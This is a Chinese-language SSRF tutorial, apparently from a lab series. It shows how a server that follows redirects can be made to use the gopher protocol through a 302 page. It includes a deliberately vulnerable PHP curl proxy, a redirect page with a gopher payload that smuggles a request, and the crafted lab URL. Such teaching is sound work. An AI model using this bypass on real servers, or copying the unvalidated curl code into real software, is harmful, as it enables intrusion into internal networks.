ssrf漏洞在廠商的處理下可能進行一些特殊處理導致我們無法直接利用漏洞
有以下四種:
1.ip地址限制繞過
2.域名限制繞過
3.30x跳轉繞過域名限制
4.DNS rebinding繞過內網ip限制
本章我們講30x跳轉繞過域名限制
30x跳轉繞過域名限制
? ? ? ?之前我們使用ssrf漏洞時可以利用各種協議進行訪問,如file,gopher等等,如果廠商限制我們
只能使用http協議我們怎么進行繞過
我們可以利用30x跳轉繞過域名限制
原理如下圖所示:
用戶請求? ? ? ? ? ? ? ? ->? ? ? ? ? ? ? ? ? ? ? ? 服務器? ? ? ? ? ? ? ? ? ? ?->? ? ? ? ? ? ? ? ? ? ? ? ? ? 目標
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ??? 服務器? ? ? ? ? ? ? ? ? ? <-? ? ? ? ? ? ? 返回重定向到 NewTarget
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 服務器? ? ? ? ? ? ? ? ? ? ?->? ? ? ? ? ? ? ? ? ? ? ? NewTarget
? ? ? ?SSRF 的本質就是服務器訪問了目標,如果目標返回一個重定向,此時服務器如果支持跟隨重
定向則再次訪問新的目標,服務器在創建請求時可以設置是否跟隨重定向,下面通過 php 代碼演
示。
<?php
$ch=curl_init(); // 初始化一個 cURL 對象
$url=$_GET['url']; // 從 GET 請求中獲取 URL 參數
curl_setopt($ch,CURLOPT_URL,$url); // 設置要訪問的 URL
curl_setopt($ch,CURLOPT_HEADER,0); // 設置是否包含頭部信息
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); // 設置是否返回輸出,不直接輸出到頁面
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1); // 設置是否跟隨跳轉
$res=curl_exec($ch); // 執行 cURL 請求并獲取返回結果
var_dump(curl_error($ch) ); // 打印 cURL 錯誤信息(如果有)
curl_close($ch); // 關閉 cURL 資源
echo $res; // 輸出返回的結果
?>
那么我們就設置完成靶場跟隨重定向。
下面我們創建一個302跳轉平臺:
kali 創建 302 跳轉頁面,通過 Location 返回 302 跳轉,跳轉使用 gopher 協議。
<?php
header("Location:gopher://192.168.112.12:80/_GET%20/pikachu-master/vul/ssrf/ssrf_info/info1.php%20HTTP/1.1%0D%0AHost%3A%20192.168.112.12%0D%0A");
?>
自己注意一下拼寫不要直接復制粘貼。
我們去靶場嘗試:
我們打開靶場:
url:http://192.168.112.12/ssrf.php
我們構造url:http://192.168.112.12/ssrf.php?url=http://192.168.112.12/302.php
? ? ? ? ?可以看到 ssrf.php 訪問 302.php 成功根據 Location 加載 gopher 協議訪問 info1.php,這使
得ssrf.php 如果對 url 參數采取白名單限制僅 HTTP 協議是無效的,到此我們就完成了繞過。
? ? ? ?302 跳轉也可以通過短連接平臺實現跳轉,這里不對短連接平臺進行測試,個別短連接平臺會
對目標進行檢測,選擇哪個短連接平臺亦或者自建平臺自行測試。
注意:能否使用30x跳轉技巧,取決于服務器功能點是否啟用跟隨跳轉